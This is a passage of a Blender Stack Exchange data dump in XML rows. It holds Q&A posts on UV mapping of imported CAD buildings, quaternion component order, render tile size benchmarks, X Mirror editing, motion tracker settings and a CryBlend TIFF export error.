  <row Id="3115" PostTypeId="1" CreationDate="2013-09-29T11:54:37.767" Score="4" ViewCount="1993" Body="&lt;p&gt;I have problems with importing revit models in my work, the model is made in revit and I after I render with blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the most important problem is that when I attempt a brick texture to the walls, the mesh of the object is irregular. Normally, I use cube projection (uv mapping) and everything is ready, but when I scale the texture so that you have the correct size, it loses the right projection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is any way to make this easy, or easier to make the mesh again?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Projection for view in ortho view does not work because the mesh is difficult to use.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this image is with cube projection unwrap and without rescale texture,&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aBRTA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this image is trying to put the correct size with mapping, you can see that it loose the good projection&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fn9EP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="55" LastEditDate="2013-09-30T02:53:21.497" LastActivityDate="2013-09-30T02:53:21.497" Title="Best practice for UV mapping buildings from CAD software" Tags="&lt;import&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3116" PostTypeId="2" ParentId="3114" CreationDate="2013-09-29T12:04:53.063" Score="4" Body="&lt;p&gt;It's with (W,X,Y,Z). If you look in the documentation you linked, there is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;import math&#xA;&#xA;# a new rotation 90 degrees about the Y axis&#xA;quat_a = mathutils.Quaternion((0.7071068, 0.0, 0.7071068, 0.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, if you add a cube, set the rotation mode to &lt;code&gt;Quaternion&lt;/code&gt;, then rotate it 90° on the Y axis, you can check :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6itbw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The displayed values are in the same order. So you can deduce that it is &lt;strong&gt;(W,X,Y,Z)&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-09-29T12:04:53.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3117" PostTypeId="2" ParentId="3114" CreationDate="2013-09-29T15:26:43.947" Score="6" Body="&lt;p&gt;You can figure it out easily in the py console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;q = Quaternion((1,2,3,4))&#xA;print(q.w, q.x, q.y, q.z)&#xA;# -&amp;gt; 1.0 2.0 3.0 4.0, so it's WXYZ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mathutils module is not python source btw., the Quaternion class is written in C and located here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BlenderSVN\blender\source\blender\python\mathutils\mathutils_Quaternion.c&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-09-29T15:26:43.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3118" PostTypeId="2" ParentId="3115" CreationDate="2013-09-29T15:37:49.393" Score="3" Body="&lt;p&gt;The topology of that model fairly poor, and &lt;a href=&quot;http://cgcookie.com/blender/2012/11/28/why-topology-matters-modeling/&quot; rel=&quot;nofollow&quot;&gt;good topology matters&lt;/a&gt; especially with UV unwrapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd probably be better off making the model again, &lt;strong&gt;or:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Apply a &lt;em&gt;Remesh&lt;/em&gt;&lt;/strong&gt; modifier to automatically &quot;retopologize it&quot;, or&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Retopologize the model&lt;/strong&gt; with the &lt;em&gt;Shrinkwrap&lt;/em&gt; modifier or snapping tools, or&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Manually cleaning up the mesh&lt;/strong&gt; by normalizing your edge flow, removing weird edges.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you still don't get good results, try &lt;a href=&quot;http://cgcookie.com/blender/2011/01/21/intro_uvmapping/&quot; rel=&quot;nofollow&quot;&gt;unwrapping the model manually&lt;/a&gt; with &lt;em&gt;Mark Seam&lt;/em&gt; and &lt;em&gt;&lt;kbd&gt;U&lt;/kbd&gt; &lt;kbd&gt;Unwrap&lt;/kbd&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-09-29T15:37:49.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3119" PostTypeId="2" ParentId="3115" CreationDate="2013-09-29T16:00:41.053" Score="5" Body="&lt;p&gt;I used to do this kind of UV mapping a bit and found 3 methods useful.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;UV Project modifier, you can use a camera for each wall angle and the cameras project onto the closest aligned walls. very fast to setup and you can edit your geometry afterwards without having to fix UV's.&lt;/li&gt;&#xA;&lt;li&gt;Smart UV project, this gives simple projections but has the disadvantage that the bricks on the walls for example, wont line up.&lt;/li&gt;&#xA;&lt;li&gt;Manually - which can be done quite fast infact - Select a face, Shift+G, Select Similar Normal. Then project from view, or from a Camera if you want to have more control over alignment and quickly re-apply the same projection again can be handy too.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other things to be aware of...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You may want to move the projected UV's for each surface so they dont overlap.&lt;br&gt;&lt;em&gt;(just makes it easier to edit and manage).&lt;/em&gt; with tiling textures it wont effect the displayed mapping on the mesh.&lt;/li&gt;&#xA;&lt;li&gt;topology &lt;em&gt;may&lt;/em&gt; be important to improve, this depends weather you are simply projecting UV's or if you intend to manually edit them (in that case you care more about topology and avoid skinny faces for example).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-09-29T16:23:42.140" LastActivityDate="2013-09-29T16:23:42.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3120" PostTypeId="1" CreationDate="2013-09-29T18:51:14.863" Score="10" ViewCount="39314" Body="&lt;p&gt;There've been a few discussions about tile sizes for Cycles, but none that I can find about that of BI. Since it renders with the CPU, does it follow the same rule as cycles where smaller is better (to an extent of course)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it depends a lot on the content of the scene, so in what case are bigger tiles better than smaller ones, other than the general GPU/CPU rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it more important to stick to powers of 2 (32,64,128...) than it is to keep all tiles the same size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences between render times are often very small, so perhaps a good test would be to render an animation (with a moving camera) and average the times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Auto_Tile_Size&quot;&gt;an addon&lt;/a&gt; that figures out the best size for Cycles and I'd like to extend this to BI as well, though I've not used the renderer for quite some time.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2013-10-03T12:36:59.287" LastActivityDate="2018-02-22T00:15:47.413" Title="Best Tile Size for Blender Internal Renderer and Cycles" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="5" CommunityOwnedDate="2013-10-01T23:37:06.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="3121" PostTypeId="1" AcceptedAnswerId="3122" CreationDate="2013-09-29T19:47:16.957" Score="4" ViewCount="281" Body="&lt;p&gt;Bear in mind, I am quite new to blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run into a problem. I'm trying to model a head and I'm creating the vertices and faces, but when I move some vertices another one snaps to a completely unrelated position.&#xA;Here are some images highlighting the problem: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9cpe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpcpD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I did in there was move the selected point a little bit back along the y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of you know why this is happening and how to fix it? I really need help on this.&lt;/p&gt;&#xA;" OwnerUserId="1370" LastEditorUserId="12" LastEditDate="2013-09-29T20:20:19.287" LastActivityDate="2013-09-29T20:21:13.680" Title="Why are my vertices being mirrored and how do I fix it?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3122" PostTypeId="2" ParentId="3121" CreationDate="2013-09-29T20:10:51.303" Score="3" Body="&lt;p&gt;You have &lt;em&gt;X Mirror&lt;/em&gt; enabled. Open the toolself with &lt;kbd&gt;T&lt;/kbd&gt; and untick it, it's under &lt;em&gt;Mesh Options&lt;/em&gt;. What this does is that it will try to mimic whatever you are doing on one side of your mesh on the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lPrNr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics/Mirror&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The X-mirror option of the Mesh Options panel allows you edit both “sides” of your mesh in a single action. When you transform an element (vertex, edge or face), if there is its exact X-mirrored counterpart (in local space), it will be transformed accordingly, through a symmetry along the local X axis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This didn't affect the mouth area of your model as only half of it was modeled while you had a &lt;em&gt;complete&lt;/em&gt; eye ring.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-29T20:21:13.680" LastActivityDate="2013-09-29T20:21:13.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3123" PostTypeId="2" ParentId="3120" CreationDate="2013-09-29T20:51:18.583" Score="10" Body="&lt;p&gt;I would say it depends &lt;strong&gt;a lot&lt;/strong&gt; on the scene and the hardware. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;BI:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some tests rendering the default cube scene at 960x540 pixels:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;32x32&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:01.02&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;64x64&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:00.89&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:00.86&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;256x256&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:00.87&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;512x512&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:01.27&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more complex scene at the same resolution seems to go faster with larger tile sizes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;32x32&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:53.57&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;64x64&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:46.15&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:45.26&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;256x256&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:43.22&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;512x512&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:43.09&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the same scene at 960x540, I roughly timed the amount of time it took to render one tile. (This estimate is very rough because the time changes dramatically between different tiles, I just timed one tile):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;120x67&lt;/code&gt;    &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;02:23.89&lt;/code&gt; (approx. &lt;code&gt;12&lt;/code&gt; seconds per tile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;64x64&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;02:33.31&lt;/code&gt; (approx. &lt;code&gt;6&lt;/code&gt; seconds per tile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;300x300&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;02:24.60&lt;/code&gt; (approx. &lt;code&gt;30&lt;/code&gt; seconds per tile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;200x200&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:49.57&lt;/code&gt; (approx. &lt;code&gt;10&lt;/code&gt; seconds per tile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:42.43&lt;/code&gt; (approx. &lt;code&gt;14&lt;/code&gt; seconds per tile) (fastest)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The fastest time here has the same settings as the slowest setup for cycles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 500x500:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;128x128&lt;/code&gt;    &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:41.53&lt;/code&gt; (fastest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:41.92&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 512x512:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:43.67&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:47.84&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2-61-Cycles-render-benchmark&quot; rel=&quot;noreferrer&quot;&gt;Mike Pan's famous BMW benchmark scene&lt;/a&gt; at 960x540 with 10 samples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;64x64&lt;/code&gt; &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:51.03&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;02:02.03&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;01:49.64&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;  &lt;code&gt;200x200&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;02:00.39&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Some tests to see how much varying sizes and using powers of two affect render time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 500x500 px:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:46.86&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:53.42&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 512x512 px:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;128x128&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:50.54&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tile size:&lt;/strong&gt;   &lt;code&gt;100x100&lt;/code&gt;   &lt;strong&gt;Render time:&lt;/strong&gt; &lt;code&gt;00:49.46&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Conclusions:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To find a general rule for deciding optimal tile sizes for any kind of scene, one needs a lot more testing data with long renders etc.&#xA;To really look at this in detail, I think some addon which would send tile settings and render times to a database would be necessary.&lt;br&gt;&#xA;IMO, Setting the tile size to ~100x100 or ~200x200 and adjusting to fit evenly in the render dimensions is good enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from the tests I did above it does seem that maintaining a consistent tile size helps.&lt;br&gt;&#xA;Power of two tile sizes seem to have no apparent effect.  &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-09T16:47:13.810" LastActivityDate="2013-10-09T16:47:13.810" CommentCount="11" CommunityOwnedDate="2013-10-01T23:37:06.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="3124" PostTypeId="1" AcceptedAnswerId="3126" CreationDate="2013-09-30T00:34:07.007" Score="3" ViewCount="1379" Body="&lt;p&gt;Is it possible to select a particular tracker by name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, If I want to select &lt;code&gt;Track.009&lt;/code&gt;, how can I do this without having to select each tracker individually and check if it's &lt;code&gt;Track.009&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-30T02:56:16.327" LastActivityDate="2018-03-02T16:51:11.217" Title="Select a Specific Tracking Marker" Tags="&lt;workflow&gt;&lt;interface&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3125" PostTypeId="2" ParentId="3098" CreationDate="2013-09-30T01:45:37.617" Score="2" Body="&lt;p&gt;This option was &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Motion_Tracker#Tracking_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;removed in 2.64&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First, the old option called Tracker was eliminated. The old Hybrid tracker&#xA;  was doing exactly the same as the SAD tracker, with the exception that&#xA;  it could do more accurate subpixel precision tracking by following the&#xA;  brute-force search with a subpixel refinement. The SAD tracker was&#xA;  also limited in that it only worked on 8-bit images and is unsuitable&#xA;  for 32-bit float images like those used in Mango.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Secondly, the KLT tracker with its pyramid tracking helped tracking&#xA;  blurry footage, but could be quite useless when the background texture&#xA;  was moving in the opposite direction of the feature point. In such&#xA;  cases the Hybrid tracker was much better than KLT, and for this reason&#xA;  the KLT tracker was made obsolete.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, the &lt;em&gt;SAD&lt;/em&gt; and &lt;em&gt;KLT&lt;/em&gt; options were replaced with a improved hybrid tracker with new options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Motion_Tracker#Tracking_Settings&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The new tracker is a unified algorithm with more options, and&#xA;  specifically some options to make it work exactly the same as the old&#xA;  non-planar Hybrid tracker. The options are:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Motion Model&lt;/strong&gt; defines which possible motions tracking feature has. Currently supported models are: Location only, Location+Rotation,&#xA;  Location+Scale, Location+Rotation+Scale, Affine and Perspective. This&#xA;  option should be set depending on which motion a particular feature&#xA;  has and it'll make tracking most accurate for such a motion.&#xA;  Perspective is usually used to track a planar feature, but often&#xA;  Affine is a good enough approximation and may have more stable tracks.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Prepass&lt;/strong&gt; enables a two pass tracking, where the first pass is a brute force tracking of location only, and the second pass will use&#xA;  tracking of the full motion model refining the first pass. To get&#xA;  behavior that is almost identical to the Hybrid tracker in previous&#xA;  Blender versions, enable Prepass and set the motion model to Location&#xA;  only.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Normalize&lt;/strong&gt; means patterns will be normalized by their average intensity while tracking, to make them invariant to illumination&#xA;  changes. An example where this is useful is a scene where a marker&#xA;  moves in the shadow of an actress. Previously it would not be possible&#xA;  to track such a situation, scale adaption would shrink the area to&#xA;  compensate for the change in illumination, losing the track. With&#xA;  &quot;Normalize&quot; turned on, the patch is correctly tracked and scale is&#xA;  maintained.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Correlation&lt;/strong&gt; is now a single value for all tracking settings and defines the minimal correlation between a matched pattern and a&#xA;  reference to be considered a successful tracking. If the tracker is&#xA;  giving up too easily, decrease this value, or if the tracker is&#xA;  slipping too much when it should give up sooner, increase this value.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that it is possible to simulate the old &lt;em&gt;Hybrid&lt;/em&gt; tracker with the current method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To get behavior that is almost identical to the Hybrid tracker in&#xA;  previous Blender versions, enable Prepass and set the motion model to&#xA;  Location only.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UChh7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-03T02:43:02.947" LastActivityDate="2013-10-03T02:43:02.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3126" PostTypeId="2" ParentId="3124" CreationDate="2013-09-30T02:36:42.483" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Deselect all markers first (hit A)&lt;/li&gt;&#xA;&lt;li&gt;Click on the track name in the &lt;code&gt;Dopesheet View&lt;/code&gt; (i.e. &lt;code&gt;Track.009&lt;/code&gt;), twice if it's initially selected (first click deselect, second click selects track as well as the track marker). The &lt;code&gt;Dopesheet View&lt;/code&gt; of your Movie Clip is on the upper right in the default &lt;code&gt;Motion Tracking&lt;/code&gt; screen.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhqGu.png&quot; alt=&quot;Blender Motion Tracking - Select Track Marker by Name&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-09-30T11:02:58.703" LastActivityDate="2013-09-30T11:02:58.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3127" PostTypeId="1" CreationDate="2013-09-30T03:42:05.180" Score="3" ViewCount="433" Body="&lt;p&gt;I have 3 lamps on the scene (the one on the left has 0 energy):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aY9hr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rendered surfaces are supposed to look like shiny metal.  However, there's always a dark spot at the top of the large light orange surface, apparently no matter how the scene is lit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3rMXd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried flipping normals, removing doubles in the mesh, changing specular and diffuse, horizon color, and turning off receiving shadows.&#xA;Has anyone seen something similar?&lt;/p&gt;&#xA;" OwnerUserId="1298" LastEditorUserId="1298" LastEditDate="2013-09-30T03:57:57.287" LastActivityDate="2013-11-22T02:18:52.693" Title="Dark surface unchanged by light source changes" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;mesh&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3128" PostTypeId="1" CreationDate="2013-09-14T20:43:00.117" Score="5" ViewCount="869" Body="&lt;p&gt;I'm developing blender exporter for CryEngine - &lt;a href=&quot;https://github.com/travnick/CryBlend&quot; rel=&quot;noreferrer&quot;&gt;CryBlend&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to convert an image to tiff and then pass it to cryengine resource compiled. The thing is it works while saving image with blender python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tiffImage= bpy.data.images[1].copy()&#xA;tiffImage.filepath_raw = 'new_path.tif'&#xA;tiffImage.file_format = 'TIFF'&#xA;tiffImage.save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the same code placed in plugin throws an exception at save()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;RuntimeError: Error: Image &quot;my image&quot; does not have any image data.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, while debugging that code with pydev (in plugin) then it works as expected.&#xA;I'm totally puzzled with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/fastio123a3z3bo/CryBlendTest.7z&quot; rel=&quot;noreferrer&quot;&gt;here is the complete code&lt;/a&gt;. export.py:1196&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def __export_library_images(self, parent_element):&#xA;    library_images = self.__doc.createElement(&quot;library_images&quot;)&#xA;    parent_element.appendChild(library_images)&#xA;&#xA;    for image in self.__get_texture_images_for_selected_objects():&#xA;        tiffFilePath = self.__convert_to_tiff_and_save(image)&#xA;        image_path = get_relative_path(tiffFilePath)&#xA;&#xA;        image_element = self.__doc.createElement(&quot;image&quot;)&#xA;        image_element.setAttribute(&quot;id&quot;, &quot;%s&quot; % image.name)&#xA;        image_element.setAttribute(&quot;name&quot;, &quot;%s&quot; % 